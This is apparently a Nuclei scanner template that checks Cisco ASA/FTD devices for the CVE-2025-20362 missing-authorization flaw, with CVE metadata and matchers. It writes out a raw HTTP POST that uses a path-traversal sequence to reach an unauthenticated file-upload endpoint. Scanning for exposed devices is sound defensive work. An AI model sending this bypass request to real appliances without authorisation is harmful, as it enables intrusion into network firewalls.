id: CVE-2025-20362

info:
  name: "Cisco ASA - Missing Authorization"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    Update: On November 5, 2025, Cisco became aware of a new attack variant against devices running Cisco Secure
    ASA Software or Cisco Secure FTD Software releases that are affected by CVE-2025-20333 and CVE-2025-20362.
    This attack can cause unpatched devices to unexpectedly reload, leading to denial of service (DoS) conditions.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-20362&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-20362
    cwe-id: CWE-862
  metadata:
    verified: false
  tags: cve,cve2025,cisco,asa,auth-bypass,kev,vkev,vuln
http:
  - raw:
      - |
        POST /+CSCOU+//../+CSCOE+/files/file_action.html?mode=upload&path=foo&server=srv&sourceurl=qaz HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;boundary=ee
        Content-Length: 10

        aabbccdd

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('CSRF token mismatch')"
          - "Failed to upload file"

      - type: status
        status:
          - 200